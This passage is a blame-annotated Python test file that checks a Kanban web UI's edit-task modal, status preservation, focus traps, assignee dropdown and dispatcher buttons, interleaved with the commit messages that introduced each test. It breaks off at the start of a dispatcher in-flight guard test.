"""The Kanban task detail view must surface an Edit button — the previous
|
|
|
|
|
detail view exposed only status-transition buttons (Triage/Todo/Ready/...),
|
|
|
|
|
Block/Unblock, and Add comment, with no way to edit the title, body,
|
|
|
|
|
assignee, tenant, or priority of a task once created.
|
|
|
|
|
|
|
|
|
|
Backend supports it (PATCH /api/kanban/tasks/<id> with title/body/assignee/
|
|
|
|
|
tenant/priority — see _patch_task in api/kanban_bridge.py); this regression
|
|
|
|
|
pins the UI surface.
|
|
|
|
|
"""
|
|
|
|
|
# 1. _kanbanRenderTaskDetail emits an Edit button wired to openKanbanEdit.
|
|
|
|
|
render_match = re.search(
|
|
|
|
|
r"function _kanbanRenderTaskDetail\(data\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert render_match, "_kanbanRenderTaskDetail() not found"
|
|
|
|
|
render_body = render_match.group(1)
|
|
|
|
|
assert 'class="kanban-edit-btn"' in render_body or "kanban-edit-btn" in render_body, (
|
|
|
|
|
"Task detail view must include the Edit button (.kanban-edit-btn)."
|
|
|
|
|
)
|
|
|
|
|
assert "openKanbanEdit(" in render_body, (
|
|
|
|
|
"Edit button must invoke openKanbanEdit(taskId)."
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
# 2. openKanbanEdit() exists and pre-fills the modal from a fetched task.
|
|
|
|
|
open_edit_match = re.search(
|
|
|
|
|
r"async function openKanbanEdit\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert open_edit_match, "openKanbanEdit() not found"
|
|
|
|
|
open_edit_body = open_edit_match.group(1)
|
|
|
|
|
assert "/api/kanban/tasks/" in open_edit_body
|
|
|
|
|
assert "_kanbanTaskModalMode = 'edit'" in open_edit_body
|
|
|
|
|
assert "_kanbanTaskModalEditingId = task.id" in open_edit_body
|
|
|
|
|
|
|
|
|
|
# 3. submitKanbanTaskModal branches to PATCH for edit, POST for create.
|
|
|
|
|
submit_match = re.search(
|
|
|
|
|
r"async function submitKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert submit_match
|
|
|
|
|
submit_body = submit_match.group(1)
|
|
|
|
|
assert "method: 'PATCH'" in submit_body, (
|
|
|
|
|
"submitKanbanTaskModal must PATCH /api/kanban/tasks/<id> in edit mode."
|
|
|
|
|
)
|
|
|
|
|
assert "method: 'POST'" in submit_body, "Create path still POSTs."
|
|
|
|
|
assert "_kanbanTaskModalEditingId" in submit_body
|
|
|
|
|
# Edit-mode title-bar / button labels.
|
|
|
|
|
assert "kanban_edit_task" in PANELS
|
|
|
|
|
label_match = re.search(
|
|
|
|
|
r"function _kanbanSetTaskModalLabels\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert label_match and "edit" in label_match.group(1)
|
|
|
|
|
|
|
|
|
|
|
fix(kanban-edit): preserve real status when editing non-{triage,todo,ready} tasks
PR #1981's edit-task modal silently demotes tasks whose real status is
running/blocked/done/archived. The dropdown only offers triage/todo/ready,
so `_kanbanEditableStatusFor()` maps any other status to 'triage' for
display. If the user just edits the title and saves, the dropdown's
displayed 'triage' lands in the PATCH payload — and `_patch_task` calls
`_set_status_direct` which:
- ends any active run with outcome='reclaimed' (worker yanked back)
- nulls claim_lock / claim_expires / worker_pid
- moves the task to triage
So editing a 'running' task's title would reclaim the running worker.
Editing a 'done' task would un-done it. Editing an 'archived' task would
un-archive it. All silent, no warning.
Reproducer (Node):
Original: {status: 'running'}
Modal display: 'triage' (mapped)
User leaves dropdown alone → submit
Payload: {title: 'X', status: 'triage'} ← destructive
Fix: track the modal's initial displayed status in
_kanbanTaskModalInitialDisplayedStatus on edit-mode open. In submit's
edit branch, only include `status` in the PATCH payload when the user
actually picked a different value than what the dropdown opened with.
Create-mode resets the tracker to null so create payloads always include
status.
Verified end-to-end via Node harness:
- edit running, untouched → no status sent ✓ (server keeps running)
- edit running, picked ready → status:ready sent ✓ (worker reclaimed
intentionally)
- edit triage, untouched → no status sent ✓ (idempotent)
- edit triage, picked ready → status:ready sent ✓
- create new → status always sent ✓
- edit done, untouched → no status sent ✓ (no un-done)
Adds test_kanban_edit_mode_preserves_status_when_dropdown_untouched
pinning the tracker variable, openKanbanEdit captures, submit-skip
condition, and create/close reset paths. Verified to fail pre-fix.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-09 20:57:31 +00:00
|
|
|
def test_kanban_edit_mode_preserves_status_when_dropdown_untouched():
|
|
|
|
|
"""Regression: editing a task whose real status is non-editable in the
|
|
|
|
|
modal's status dropdown (running/blocked/done/archived → mapped to
|
|
|
|
|
'triage' for display) must NOT silently demote the task on save.
|
|
|
|
|
|
|
|
|
|
The dropdown only offers triage/todo/ready, so `_kanbanEditableStatusFor`
|
|
|
|
|
maps any other status to 'triage' for display. If the user just edits
|
|
|
|
|
the title and saves, the dropdown's 'triage' default would land in the
|
|
|
|
|
PATCH payload and the backend would call `_set_status_direct` which
|
|
|
|
|
reclaims any active worker and demotes the task.
|
|
|
|
|
|
|
|
|
|
Fix: track the displayed default in `_kanbanTaskModalInitialDisplayedStatus`
|
|
|
|
|
and only include `status` in the PATCH payload when the user actually
|
|
|
|
|
picked a different value.
|
|
|
|
|
"""
|
|
|
|
|
# 1. The tracking variable is declared at module scope.
|
|
|
|
|
assert "_kanbanTaskModalInitialDisplayedStatus" in PANELS, (
|
|
|
|
|
"Edit-mode status preservation requires tracking the initial displayed "
|
|
|
|
|
"status so submit can detect whether the user actually changed it."
|
|
|
|
|
)
|
2026-05-10 06:40:46 +00:00
|
|
|
assert 'id="kanbanTaskModalStatusOriginalHint"' in INDEX
|
|
|
|
|
assert "_kanbanSetTaskModalStatusHint" in PANELS
|
|
|
|
|
assert "kanban_status_original_hint" in I18N
|
|
|
|
|
assert ".kanban-status-original-hint" in STYLE
|
fix(kanban-edit): preserve real status when editing non-{triage,todo,ready} tasks
PR #1981's edit-task modal silently demotes tasks whose real status is
running/blocked/done/archived. The dropdown only offers triage/todo/ready,
so `_kanbanEditableStatusFor()` maps any other status to 'triage' for
display. If the user just edits the title and saves, the dropdown's
displayed 'triage' lands in the PATCH payload — and `_patch_task` calls
`_set_status_direct` which:
- ends any active run with outcome='reclaimed' (worker yanked back)
- nulls claim_lock / claim_expires / worker_pid
- moves the task to triage
So editing a 'running' task's title would reclaim the running worker.
Editing a 'done' task would un-done it. Editing an 'archived' task would
un-archive it. All silent, no warning.
Reproducer (Node):
Original: {status: 'running'}
Modal display: 'triage' (mapped)
User leaves dropdown alone → submit
Payload: {title: 'X', status: 'triage'} ← destructive
Fix: track the modal's initial displayed status in
_kanbanTaskModalInitialDisplayedStatus on edit-mode open. In submit's
edit branch, only include `status` in the PATCH payload when the user
actually picked a different value than what the dropdown opened with.
Create-mode resets the tracker to null so create payloads always include
status.
Verified end-to-end via Node harness:
- edit running, untouched → no status sent ✓ (server keeps running)
- edit running, picked ready → status:ready sent ✓ (worker reclaimed
intentionally)
- edit triage, untouched → no status sent ✓ (idempotent)
- edit triage, picked ready → status:ready sent ✓
- create new → status always sent ✓
- edit done, untouched → no status sent ✓ (no un-done)
Adds test_kanban_edit_mode_preserves_status_when_dropdown_untouched
pinning the tracker variable, openKanbanEdit captures, submit-skip
condition, and create/close reset paths. Verified to fail pre-fix.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-09 20:57:31 +00:00
|
|
|
|
|
|
|
|
# 2. openKanbanEdit captures the initial displayed status from the task.
|
|
|
|
|
open_edit_match = re.search(
|
|
|
|
|
r"async function openKanbanEdit\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert open_edit_match, "openKanbanEdit() not found"
|
|
|
|
|
open_edit_body = open_edit_match.group(1)
|
|
|
|
|
assert "_kanbanTaskModalInitialDisplayedStatus" in open_edit_body, (
|
|
|
|
|
"openKanbanEdit must record the initial displayed status."
|
|
|
|
|
)
|
|
|
|
|
assert "_kanbanEditableStatusFor(task.status)" in open_edit_body
|
2026-05-10 06:40:46 +00:00
|
|
|
assert "_kanbanSetTaskModalStatusHint(originalStatus, initialDisplayedStatus)" in open_edit_body
|
|
|
|
|
assert "const originalStatus = task.status || initialDisplayedStatus" in open_edit_body
|
fix(kanban-edit): preserve real status when editing non-{triage,todo,ready} tasks
PR #1981's edit-task modal silently demotes tasks whose real status is
running/blocked/done/archived. The dropdown only offers triage/todo/ready,
so `_kanbanEditableStatusFor()` maps any other status to 'triage' for
display. If the user just edits the title and saves, the dropdown's
displayed 'triage' lands in the PATCH payload — and `_patch_task` calls
`_set_status_direct` which:
- ends any active run with outcome='reclaimed' (worker yanked back)
- nulls claim_lock / claim_expires / worker_pid
- moves the task to triage
So editing a 'running' task's title would reclaim the running worker.
Editing a 'done' task would un-done it. Editing an 'archived' task would
un-archive it. All silent, no warning.
Reproducer (Node):
Original: {status: 'running'}
Modal display: 'triage' (mapped)
User leaves dropdown alone → submit
Payload: {title: 'X', status: 'triage'} ← destructive
Fix: track the modal's initial displayed status in
_kanbanTaskModalInitialDisplayedStatus on edit-mode open. In submit's
edit branch, only include `status` in the PATCH payload when the user
actually picked a different value than what the dropdown opened with.
Create-mode resets the tracker to null so create payloads always include
status.
Verified end-to-end via Node harness:
- edit running, untouched → no status sent ✓ (server keeps running)
- edit running, picked ready → status:ready sent ✓ (worker reclaimed
intentionally)
- edit triage, untouched → no status sent ✓ (idempotent)
- edit triage, picked ready → status:ready sent ✓
- create new → status always sent ✓
- edit done, untouched → no status sent ✓ (no un-done)
Adds test_kanban_edit_mode_preserves_status_when_dropdown_untouched
pinning the tracker variable, openKanbanEdit captures, submit-skip
condition, and create/close reset paths. Verified to fail pre-fix.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-09 20:57:31 +00:00
|
|
|
|
|
|
|
|
# 3. Submit's edit branch only sends status when it differs from the
|
|
|
|
|
# initial displayed value.
|
|
|
|
|
submit_match = re.search(
|
|
|
|
|
r"async function submitKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert submit_match
|
|
|
|
|
submit_body = submit_match.group(1)
|
|
|
|
|
assert "statusVal !== _kanbanTaskModalInitialDisplayedStatus" in submit_body, (
|
|
|
|
|
"Edit submit must skip `status` in the payload when the dropdown's "
|
|
|
|
|
"displayed value is unchanged — otherwise running/blocked/done/archived "
|
|
|
|
|
"tasks get silently demoted on save."
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
# 4. openKanbanCreate explicitly nulls the tracker (create always sends).
|
|
|
|
|
create_match = re.search(
|
|
|
|
|
r"function openKanbanCreate\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert create_match
|
|
|
|
|
create_body = create_match.group(1)
|
|
|
|
|
assert "_kanbanTaskModalInitialDisplayedStatus = null" in create_body, (
|
|
|
|
|
"openKanbanCreate must reset the tracker to null so create-mode "
|
|
|
|
|
"submits always include status in the POST payload."
|
|
|
|
|
)
|
2026-05-10 06:40:46 +00:00
|
|
|
assert "_kanbanSetTaskModalStatusHint(null);" in create_body
|
fix(kanban-edit): preserve real status when editing non-{triage,todo,ready} tasks
PR #1981's edit-task modal silently demotes tasks whose real status is
running/blocked/done/archived. The dropdown only offers triage/todo/ready,
so `_kanbanEditableStatusFor()` maps any other status to 'triage' for
display. If the user just edits the title and saves, the dropdown's
displayed 'triage' lands in the PATCH payload — and `_patch_task` calls
`_set_status_direct` which:
- ends any active run with outcome='reclaimed' (worker yanked back)
- nulls claim_lock / claim_expires / worker_pid
- moves the task to triage
So editing a 'running' task's title would reclaim the running worker.
Editing a 'done' task would un-done it. Editing an 'archived' task would
un-archive it. All silent, no warning.
Reproducer (Node):
Original: {status: 'running'}
Modal display: 'triage' (mapped)
User leaves dropdown alone → submit
Payload: {title: 'X', status: 'triage'} ← destructive
Fix: track the modal's initial displayed status in
_kanbanTaskModalInitialDisplayedStatus on edit-mode open. In submit's
edit branch, only include `status` in the PATCH payload when the user
actually picked a different value than what the dropdown opened with.
Create-mode resets the tracker to null so create payloads always include
status.
Verified end-to-end via Node harness:
- edit running, untouched → no status sent ✓ (server keeps running)
- edit running, picked ready → status:ready sent ✓ (worker reclaimed
intentionally)
- edit triage, untouched → no status sent ✓ (idempotent)
- edit triage, picked ready → status:ready sent ✓
- create new → status always sent ✓
- edit done, untouched → no status sent ✓ (no un-done)
Adds test_kanban_edit_mode_preserves_status_when_dropdown_untouched
pinning the tracker variable, openKanbanEdit captures, submit-skip
condition, and create/close reset paths. Verified to fail pre-fix.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-09 20:57:31 +00:00
|
|
|
|
|
|
|
|
# 5. closeKanbanTaskModal clears the tracker so a stale value can't leak
|
|
|
|
|
# into the next open.
|
|
|
|
|
close_match = re.search(
|
|
|
|
|
r"function closeKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert close_match
|
|
|
|
|
close_body = close_match.group(1)
|
|
|
|
|
assert "_kanbanTaskModalInitialDisplayedStatus = null" in close_body
|
2026-05-10 06:40:46 +00:00
|
|
|
assert "_kanbanSetTaskModalStatusHint(null, null);" in close_body
|
fix(kanban-edit): preserve real status when editing non-{triage,todo,ready} tasks
PR #1981's edit-task modal silently demotes tasks whose real status is
running/blocked/done/archived. The dropdown only offers triage/todo/ready,
so `_kanbanEditableStatusFor()` maps any other status to 'triage' for
display. If the user just edits the title and saves, the dropdown's
displayed 'triage' lands in the PATCH payload — and `_patch_task` calls
`_set_status_direct` which:
- ends any active run with outcome='reclaimed' (worker yanked back)
- nulls claim_lock / claim_expires / worker_pid
- moves the task to triage
So editing a 'running' task's title would reclaim the running worker.
Editing a 'done' task would un-done it. Editing an 'archived' task would
un-archive it. All silent, no warning.
Reproducer (Node):
Original: {status: 'running'}
Modal display: 'triage' (mapped)
User leaves dropdown alone → submit
Payload: {title: 'X', status: 'triage'} ← destructive
Fix: track the modal's initial displayed status in
_kanbanTaskModalInitialDisplayedStatus on edit-mode open. In submit's
edit branch, only include `status` in the PATCH payload when the user
actually picked a different value than what the dropdown opened with.
Create-mode resets the tracker to null so create payloads always include
status.
Verified end-to-end via Node harness:
- edit running, untouched → no status sent ✓ (server keeps running)
- edit running, picked ready → status:ready sent ✓ (worker reclaimed
intentionally)
- edit triage, untouched → no status sent ✓ (idempotent)
- edit triage, picked ready → status:ready sent ✓
- create new → status always sent ✓
- edit done, untouched → no status sent ✓ (no un-done)
Adds test_kanban_edit_mode_preserves_status_when_dropdown_untouched
pinning the tracker variable, openKanbanEdit captures, submit-skip
condition, and create/close reset paths. Verified to fail pre-fix.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-09 20:57:31 +00:00
|
|
|
|
|
|
|
|
|
2026-05-10 06:57:51 +00:00
|
|
|
def test_kanban_modal_focus_trap_helper_exists():
|
|
|
|
|
"""Shared focus-trap helper should exist and attach/remove Tab key handling."""
|
|
|
|
|
assert "function _trapModalFocus" in PANELS
|
|
|
|
|
fn = re.search(r"function _trapModalFocus\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert fn, "_trapModalFocus() not found"
|
|
|
|
|
fn_body = fn.group(1)
|
|
|
|
|
assert "addEventListener('keydown'" in fn_body
|
|
|
|
|
assert "removeEventListener('keydown'" in fn_body
|
|
|
|
|
assert "ev.key !== 'Tab'" in fn_body or "ev.key === 'Tab'" in fn_body
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_task_modal_focus_trap_is_installed_and_removed():
|
|
|
|
|
"""Task modal open calls should install focus trap and close should tear it down."""
|
|
|
|
|
create_match = re.search(r"function openKanbanCreate\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert create_match, "openKanbanCreate() not found"
|
|
|
|
|
create_body = create_match.group(1)
|
|
|
|
|
assert "_kanbanTaskModalFocusCleanup = _trapModalFocus(modal);" in create_body
|
|
|
|
|
assert "if (_kanbanTaskModalFocusCleanup) {" in create_body
|
|
|
|
|
|
|
|
|
|
edit_match = re.search(r"async function openKanbanEdit\([^)]*\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert edit_match, "openKanbanEdit() not found"
|
|
|
|
|
edit_body = edit_match.group(1)
|
|
|
|
|
assert "_kanbanTaskModalFocusCleanup = _trapModalFocus(modal);" in edit_body
|
|
|
|
|
assert "if (_kanbanTaskModalFocusCleanup) {" in edit_body
|
|
|
|
|
|
|
|
|
|
close_match = re.search(r"function closeKanbanTaskModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert close_match, "closeKanbanTaskModal() not found"
|
|
|
|
|
close_body = close_match.group(1)
|
|
|
|
|
assert "if (_kanbanTaskModalFocusCleanup) {" in close_body
|
|
|
|
|
assert "_kanbanTaskModalFocusCleanup = null;" in close_body
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_board_modal_focus_trap_is_installed_and_removed():
|
|
|
|
|
"""Board modal open calls should install focus trap and close should tear it down."""
|
|
|
|
|
create_board_match = re.search(r"function openKanbanCreateBoard\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert create_board_match, "openKanbanCreateBoard() not found"
|
|
|
|
|
create_board_body = create_board_match.group(1)
|
|
|
|
|
assert "_kanbanBoardModalFocusCleanup = _trapModalFocus(modal);" in create_board_body
|
|
|
|
|
assert "if (_kanbanBoardModalFocusCleanup) {" in create_board_body
|
|
|
|
|
|
|
|
|
|
rename_board_match = re.search(r"function openKanbanRenameBoard\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert rename_board_match, "openKanbanRenameBoard() not found"
|
|
|
|
|
rename_board_body = rename_board_match.group(1)
|
|
|
|
|
assert "_kanbanBoardModalFocusCleanup = _trapModalFocus(modal);" in rename_board_body
|
|
|
|
|
assert "if (_kanbanBoardModalFocusCleanup) {" in rename_board_body
|
|
|
|
|
|
|
|
|
|
close_board_match = re.search(r"function closeKanbanBoardModal\(\)\{(.*?)\n\}", PANELS, re.DOTALL)
|
|
|
|
|
assert close_board_match, "closeKanbanBoardModal() not found"
|
|
|
|
|
close_board_body = close_board_match.group(1)
|
|
|
|
|
assert "if (_kanbanBoardModalFocusCleanup) {" in close_board_body
|
|
|
|
|
assert "_kanbanBoardModalFocusCleanup = null;" in close_board_body
|
fix(kanban-edit): preserve real status when editing non-{triage,todo,ready} tasks
PR #1981's edit-task modal silently demotes tasks whose real status is
running/blocked/done/archived. The dropdown only offers triage/todo/ready,
so `_kanbanEditableStatusFor()` maps any other status to 'triage' for
display. If the user just edits the title and saves, the dropdown's
displayed 'triage' lands in the PATCH payload — and `_patch_task` calls
`_set_status_direct` which:
- ends any active run with outcome='reclaimed' (worker yanked back)
- nulls claim_lock / claim_expires / worker_pid
- moves the task to triage
So editing a 'running' task's title would reclaim the running worker.
Editing a 'done' task would un-done it. Editing an 'archived' task would
un-archive it. All silent, no warning.
Reproducer (Node):
Original: {status: 'running'}
Modal display: 'triage' (mapped)
User leaves dropdown alone → submit
Payload: {title: 'X', status: 'triage'} ← destructive
Fix: track the modal's initial displayed status in
_kanbanTaskModalInitialDisplayedStatus on edit-mode open. In submit's
edit branch, only include `status` in the PATCH payload when the user
actually picked a different value than what the dropdown opened with.
Create-mode resets the tracker to null so create payloads always include
status.
Verified end-to-end via Node harness:
- edit running, untouched → no status sent ✓ (server keeps running)
- edit running, picked ready → status:ready sent ✓ (worker reclaimed
intentionally)
- edit triage, untouched → no status sent ✓ (idempotent)
- edit triage, picked ready → status:ready sent ✓
- create new → status always sent ✓
- edit done, untouched → no status sent ✓ (no un-done)
Adds test_kanban_edit_mode_preserves_status_when_dropdown_untouched
pinning the tracker variable, openKanbanEdit captures, submit-skip
condition, and create/close reset paths. Verified to fail pre-fix.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-09 20:57:31 +00:00
|
|
|
|
|
|
|
|
|
feat(kanban): edit task button, real Run dispatcher, assignee dropdown
Three connected gaps in the Kanban UX, fixed together because they're
load-bearing for the actual work-queue lifecycle:
1. Edit task — the detail view had only status-transition buttons (Triage/
Todo/Ready/Blocked/Done/Archived) plus Block/Unblock and Add comment.
No way to edit title, body, assignee, tenant, or priority once the task
was created. Backend already supported it via PATCH /api/kanban/tasks/<id>
(api/kanban_bridge.py::_patch_task) — purely a UI gap.
Now: an Edit button on the task-detail header opens the existing modal
pre-filled with current values, switches the modal title to 'Edit task'
and the submit button to 'Save', PATCHes instead of POSTing on submit.
2. Run dispatcher — the existing 'Preview dispatcher' button always passed
?dry_run=1 (nudgeKanbanDispatcher), so it was preview-only. There was
literally no UI button anywhere in the WebUI that actually ran the
dispatcher to claim Ready tasks and spawn workers. Users had to drop
to the CLI.
Now: new runKanbanDispatcher() entry point hits /api/kanban/dispatch
without dry_run=1, after a showConfirmDialog confirmation because it
spawns subprocess workers. Two UI surfaces: a lightning-bolt button in
the board header (visually distinct from the dry-run preview ▶), and
a primary 'Run dispatcher' button in the sidebar bulk bar next to a
relabeled 'Preview' button. Toast result shows concrete numbers from
dispatch_once(): 'Dispatched: 1 spawned, 2 skipped (no assignee)' —
not just a generic 'OK'.
3. Assignee dropdown — the previous create modal accepted free-text
assignee with no validation. The dispatcher (kanban_db.py:3567) only
spawns workers when row['assignee'] is a real Hermes profile name; any
typo or blank value made the task sit in Ready forever.
Now: <select> populated from /api/profiles (Hermes profile names) with
historical board assignees grouped under 'Other (CLI lanes / removed
profiles)', plus an explicit '— Unassigned (won't auto-run) —' option.
Default selection is the first profile, not Unassigned. Custom SVG
chevron so the field reads visually as a dropdown. Helper text under
the field explains the dispatcher claim contract. Soft warning if user
explicitly picks Unassigned + Ready ('You picked Unassigned + Ready.
The dispatcher will skip this task. Submit again to confirm, or pick
a profile.'); proceeds on second submit.
Side effect: default new-task status changed from triage to ready, since
'ready' is what users want for tasks they intend to actually run. Triage
is still in the dropdown for tasks that need staging review.
i18n: 19 new keys translated across all 8 supported locales.
Tests: 3 new regression tests in tests/test_kanban_ui_static.py:
- test_kanban_task_detail_has_edit_button_and_modal_supports_edit_mode
- test_kanban_assignee_dropdown_uses_select_not_freetext
- test_kanban_run_dispatcher_button_exists_and_is_distinct_from_preview
Verified end-to-end in browser: created board → opened modal with profile
dropdown → created task with assignee=archivist → clicked Edit → changed
all 5 fields → saved → verified persistence → clicked Run dispatcher →
confirm dialog → confirmed → toast 'Dispatched: 1 spawned' → task moved
Ready → Running.
Test suite: 5042 passed, 11 skipped, 3 xpassed, 0 regressions in 151s.
2026-05-09 20:48:28 +00:00
|
|
|
def test_kanban_assignee_dropdown_uses_select_not_freetext():
|
|
|
|
|
"""Assignee must be a <select> populated from /api/profiles + board history,
|
|
|
|
|
not a free-text input. Free-text invites typos that the dispatcher silently
|
|
|
|
|
rejects (kanban_db.py:3567 "if not row[assignee]: skip"), and the dropdown
|
|
|
|
|
makes the dispatcher contract explicit.
|
|
|
|
|
"""
|
|
|
|
|
# The modal markup uses <select> for assignee, with a hint span explaining
|
|
|
|
|
# the dispatcher claim contract.
|
|
|
|
|
sel_idx = INDEX.find('id="kanbanTaskModalAssignee"')
|
|
|
|
|
assert sel_idx != -1, "kanbanTaskModalAssignee element not found"
|
|
|
|
|
# Walk back to find the opening tag — it must be a <select>, not <input>.
|
|
|
|
|
start = INDEX.rfind('<', 0, sel_idx)
|
|
|
|
|
tag_open = INDEX[start:sel_idx + 60]
|
|
|
|
|
assert tag_open.startswith('<select'), (
|
|
|
|
|
f"kanbanTaskModalAssignee must be a <select> element, got: {tag_open[:80]!r}"
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
# Hint element exists and references the dispatcher claim contract.
|
|
|
|
|
assert 'id="kanbanTaskModalAssigneeHint"' in INDEX
|
|
|
|
|
hint_idx = INDEX.find('id="kanbanTaskModalAssigneeHint"')
|
|
|
|
|
hint_block = INDEX[hint_idx:hint_idx + 400]
|
|
|
|
|
assert "Hermes profile" in hint_block or "data-i18n=\"kanban_assignee_hint\"" in hint_block
|
|
|
|
|
|
|
|
|
|
# The populator function loads from /api/profiles and groups options.
|
|
|
|
|
pop_match = re.search(
|
|
|
|
|
r"async function _kanbanPopulateAssigneeSelect\([^)]*\)\{(.*?)\n\}",
|
|
|
|
|
PANELS, re.DOTALL,
|
|
|
|
|
)
|
|
|
|
|
assert pop_match, "_kanbanPopulateAssigneeSelect() not found"
|
|
|
|
|
pop_body = pop_match.group(1)
|
|
|
|
|
assert "_kanbanLoadProfileNames" in pop_body
|
|
|
|
|
assert "<optgroup" in pop_body
|
|
|
|
|
assert 'value=""' in pop_body, (
|
|
|
|
|
"Must include the explicit empty 'Unassigned' fallthrough option."
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
# Profile loader hits /api/profiles.
|
|
|
|
|
load_match = re.search(
|
|
|
|
|
r"async function _kanbanLoadProfileNames\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert load_match
|
|
|
|
|
assert "/api/profiles" in load_match.group(1)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
def test_kanban_run_dispatcher_button_exists_and_is_distinct_from_preview():
|
|
|
|
|
"""The previous Kanban UI only exposed `nudgeKanbanDispatcher()` — a
|
|
|
|
|
dry-run preview that never actually spawns workers — leaving users with
|
|
|
|
|
no way to run their tasks from the WebUI. There must now be a real
|
|
|
|
|
runKanbanDispatcher() entry point AND it must call /api/kanban/dispatch
|
|
|
|
|
WITHOUT dry_run=1, and the existing nudge button must still be a dry-run.
|
|
|
|
|
"""
|
|
|
|
|
# 1. runKanbanDispatcher() exists and dispatches without dry_run.
|
|
|
|
|
run_match = re.search(
|
|
|
|
|
r"async function runKanbanDispatcher\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert run_match, "runKanbanDispatcher() not found"
|
|
|
|
|
run_body = run_match.group(1)
|
|
|
|
|
assert "/api/kanban/dispatch" in run_body
|
|
|
|
|
# The real-run path must NOT contain dry_run=1.
|
|
|
|
|
assert "dry_run=1" not in run_body, (
|
|
|
|
|
"runKanbanDispatcher() must NOT pass dry_run=1 — that's the preview path."
|
|
|
|
|
)
|
|
|
|
|
# It MUST go through showConfirmDialog (not window.confirm) because it
|
|
|
|
|
# spawns workers — and the existing test_kanban_dashboard_parity_core_controls_are_native
|
|
|
|
|
# asserts no window.confirm/prompt calls in panels.js anyway.
|
|
|
|
|
assert "showConfirmDialog" in run_body, (
|
|
|
|
|
"runKanbanDispatcher() must use showConfirmDialog before spawning workers."
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
# 2. nudgeKanbanDispatcher() (the existing preview path) still uses dry_run=1.
|
|
|
|
|
nudge_match = re.search(
|
|
|
|
|
r"async function nudgeKanbanDispatcher\(\)\{(.*?)\n\}", PANELS, re.DOTALL
|
|
|
|
|
)
|
|
|
|
|
assert nudge_match
|
|
|
|
|
nudge_body = nudge_match.group(1)
|
|
|
|
|
assert "dry_run=1" in nudge_body, (
|
|
|
|
|
"nudgeKanbanDispatcher() must remain a dry-run preview (dry_run=1)."
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
# 3. The board-header has a button wired to runKanbanDispatcher().
|
|
|
|
|
assert 'id="btnKanbanRunDispatcher"' in INDEX
|
|
|
|
|
btn_idx = INDEX.find('id="btnKanbanRunDispatcher"')
|
|
|
|
|
# Search backward to the opening `<button` and forward to `</button>` to
|
|
|
|
|
# capture the full element (class= attribute precedes id= in the markup).
|
|
|
|
|
btn_start = INDEX.rfind('<button', 0, btn_idx)
|
|
|
|
|
btn_end = INDEX.find('</button>', btn_idx) + len('</button>')
|
|
|
|
|
btn_html = INDEX[btn_start:btn_end]
|
|
|
|
|
assert 'onclick="runKanbanDispatcher()"' in btn_html
|
|
|
|
|
# Distinct visual class so users can tell it apart from the preview button.
|
|
|
|
|
assert "kanban-run-dispatch-btn" in btn_html
|
|
|
|
|
|
|
|
|
|
# 4. The sidebar bulk bar also has a Run dispatcher button alongside the
|
|
|
|
|
# existing Preview button, so users in the filter pane can also run.
|
|
|
|
|
bulk_idx = INDEX.find("kanbanBulkBar")
|
|
|
|
|
bulk_html = INDEX[bulk_idx:bulk_idx + 1500]
|
|
|
|
|
assert 'onclick="runKanbanDispatcher()"' in bulk_html, (
|
|
|
|
|
"Sidebar bulk bar must also expose Run dispatcher."
|
|
|
|
|
)
|
|
|
|
|
# The dispatch result formatter exists and surfaces concrete numbers.
|
|
|
|
|
assert "function _kanbanFormatDispatchResult" in PANELS
|
|
|
|
|
fmt_match = re.search(
|
|
|
|
|
r"function _kanbanFormatDispatchResult\([^)]*\)\{(.*?)\n\}",
|
|
|
|
|
PANELS, re.DOTALL,
|
|
|
|
|
)
|
|
|
|
|
assert fmt_match
|
|
|
|
|
fmt_body = fmt_match.group(1)
|
|
|
|
|
for token in ("spawned", "skipped_unassigned", "skipped_nonspawnable", "promoted"):
|
|
|
|
|
assert token in fmt_body, f"dispatch summary missing field: {token}"
|
|
|
|
|
|
|
|
|
|
|
2026-05-10 06:18:50 +00:00
|
|
|
def test_kanban_dispatcher_inflight_guard_prevents_double_click_toast_confusion():
|
|
|
|
|
"""Guard against concurrent dispatch invocations in both nudge and real run paths."""
|
|
|
|
|
